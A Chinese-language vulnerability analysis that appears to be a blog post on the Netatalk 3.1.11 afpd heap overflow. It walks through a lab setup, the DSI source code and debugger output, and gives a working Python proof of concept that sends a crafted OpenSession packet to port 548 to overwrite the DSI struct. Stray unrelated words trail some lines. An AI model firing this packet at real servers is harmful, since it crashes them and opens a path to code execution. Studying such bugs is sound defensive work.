首先下載帶有漏洞的源代碼python
https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/
安裝一些依賴庫(可能不全,到時根據報錯安裝其餘的庫)ubuntu
sudo apt install libcrack2-dev sudo apt install libgssapi-krb5-2 sudo apt install libgssapi3-heimdal sudo apt install libgssapi-perl sudo apt-get install libkrb5-dev sudo apt-get install libtdb-dev sudo apt-get install libevent-dev
而後編譯安裝api
$ ./configure --with-init-style=debian-systemd --without-libevent --without-tdb --with-cracklib --enable-krbV-uam --with-pam-confdir=/etc/pam.d --with-dbus-daemon=/usr/bin/dbus-daemon --with-dbus-sysconf-dir=/etc/dbus-1/system.d --with-tracker-pkgconfig-version=1.0 $ make $ sudo make install
編譯安裝好後, 編輯一下配置文件數組
root@ubuntu:~# cat /usr/local/etc/afp.conf [Global] mimic model = Xserve #這個是指定讓機器在你Mac系統中顯示爲何的圖標 log level = default:warn log file = /var/log/afpd.log hosts allow = 192.168.245.0/24 #容許訪問的主機地址,根據須要自行修改 hostname = ubuntu #主機名,隨你喜歡 uam list = uams_dhx.so uams_dhx2.so #默認認證方式 用戶名密碼登陸 更多查看官方文檔 [Homes] basedir regex = /tmp #用戶的Home目錄 [NAS-FILES] path = /tmp #數據目錄
而後嘗試啓動服務session
$ sudo systemctl enable avahi-daemon $ sudo systemctl enable netatalk $ sudo systemctl start avahi-daemon $ sudo systemctl start netatalk
啓動後 afpd
會監聽在 548
端口,查看端口列表確認服務是否正常啓動dom
爲了調試的方便,關閉 alsr
socket
echo 0 > /proc/sys/kernel/randomize_va_space
爲了便於理解漏洞和 poc
的構造,這裏介紹下一些重點的代碼邏輯。函數
程序使用多進程的方式處理客戶端的請求,每來一個客戶端就會 fork
一個子進程處理請求的數據。ui
首先會調用 dsi_stream_receive
把客戶端的請求數據填充到 DSI
結構體中。spa
使用客戶端的數據填充結構體的代碼
/*! * Read DSI command and data * * @param dsi (rw) DSI handle * * @return DSI function on success, 0 on failure */ int dsi_stream_receive(DSI *dsi) { char block[DSI_BLOCKSIZ]; LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START"); if (dsi->flags & DSI_DISCONNECTED) return 0; /* read in the header */ if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) return 0; dsi->header.dsi_flags = block[0]; dsi->header.dsi_command = block[1]; if (dsi->header.dsi_command == 0) return 0; memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID)); memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff)); dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff); memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len)); memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved)); dsi->clientID = ntohs(dsi->header.dsi_requestID); /* 確保不會溢出 dsi->commands */ dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum); /* Receiving DSIWrite data is done in AFP function, not here */ if (dsi->header.dsi_data.dsi_doff) { LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request"); dsi->cmdlen = dsi->header.dsi_data.dsi_doff; } if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) return 0; LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen); return block[1]; }
代碼邏輯主要是填充 header
的一些字段,而後 拷貝 header
後面的數據到 dsi->commands
。
其中 header
的結構以下
#define DSI_BLOCKSIZ 16 struct dsi_block { uint8_t dsi_flags; /* packet type: request or reply */ uint8_t dsi_command; /* command */ uint16_t dsi_requestID; /* request ID */ union { uint32_t dsi_code; /* error code */ uint32_t dsi_doff; /* data offset */ } dsi_data; uint32_t dsi_len; /* total data length */ uint32_t dsi_reserved; /* reserved field */ };
header
中比較重要的字段有:
dsi_command
表示須要執行的動做
dsi_len
表示 header
後面數據的大小, 這個值會和 dsi->server_quantum
進行比較,取二者之間較小的值做爲 dsi->cmdlen
的值。
/* 確保不會溢出 dsi->commands */ dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
這樣作的目的是爲了確保後面拷貝數據到 dsi->commands
時不會溢出。
dsi->commands
默認大小爲 0x101000
pwndbg> p dsi->commands $8 = (uint8_t *) 0x7ffff7ed4010 "\001\004" pwndbg> vmmap 0x7ffff7ed4010 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7ed4000 0x7ffff7fd5000 rw-p 101000 0
初始化代碼位置
/*! * Allocate DSI read buffer and read-ahead buffer */ static void dsi_init_buffer(DSI *dsi) { if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) { LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM"); AFP_PANIC("OOM in dsi_init_buffer"); }
dsi->server_quantum
默認
#define DSI_SERVQUANT_DEF 0x100000L /* default server quantum (1 MB) */
接下來會進入 dsi_getsession
函數。
這個函數的主要部分是根據 dsi->header.dsi_command
的值來判斷後面進行的操做。這個值是從客戶端發送的數據裏面取出的。
漏洞位於 dsi_opensession
當進入 DSIOPT_ATTNQUANT
分支時 會調用 memcpy
拷貝到 dsi->attn_quantum
,查看 dis 結構體的定義能夠發現dsi->attn_quantum
是一個 4
字節的無符號整數 ,而 memcpy
的 size
區域則是直接從 dsi->commands
裏面取出來的, 而 dsi->commands
是從客戶端發送的數據直接拷貝過來的。因此 dsi->commands[i]
咱們可控,最大的大小爲 0xff
(dsi->commands
是一個 uint8_t
的數組)
poc
#!/usr/bin/python # -*- coding: UTF-8 -*- import socket import struct ip = "192.168.245.168" port = 548 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) # 設置 commands , 溢出 dsi->attn_quantum commands = "\x01" # DSIOPT_ATTNQUANT 選項的值 commands += "\x80" # 數據長度 commands += "\xaa" * 0x80 header = "\x00" # "request" flag , dsi_flags header += "\x04" # open session command , dsi_command header += "\x00\x01" # request id, dsi_requestID header += "\x00\x00\x00\x00" # dsi_data header += struct.pack(">I", len(commands)) # dsi_len , 後面 commands 數據的長度 header += "\x00\x00\x00\x00" # reserved header += commands sock.sendall(header) print sock.recv(1024)
首先設置好 dsi
數據的頭部,而後設置 commands
。設置 commands[i]
長度爲 0x80
, 複製的數據爲 "\xaa" * 0x80
。
# 設置 payload , 溢出 dsi->attn_quantum payload = "\x01" # DSIOPT_ATTNQUANT 選項的值, 以便進入該分支 payload += "\x80" # 數據長度 payload += "\xaa" * 0x80 # 數據
當進入
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
就會複製 0x80
個 \xaa
到 dsi->attn_quantum
處, 這樣會溢出覆蓋 dsi->attn_quantum
後面的一些字段。
發送 poc
, 在調試器中看看在調用 memcpy
後 dsi
結構體內部的狀況
能夠看到從 dsi->attn_quantum
開始一直到 dsi->data
之間的字段都被覆蓋成了 \xaa
。因爲 dsi->commands
爲一個指針, 這裏被覆蓋成了不可訪問的值,在後續使用 dsi->commands
時會觸發 crash
。
當程序須要從數據裏面取出表示數據長度的字段時必定要作好判斷防止出現問題。
https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172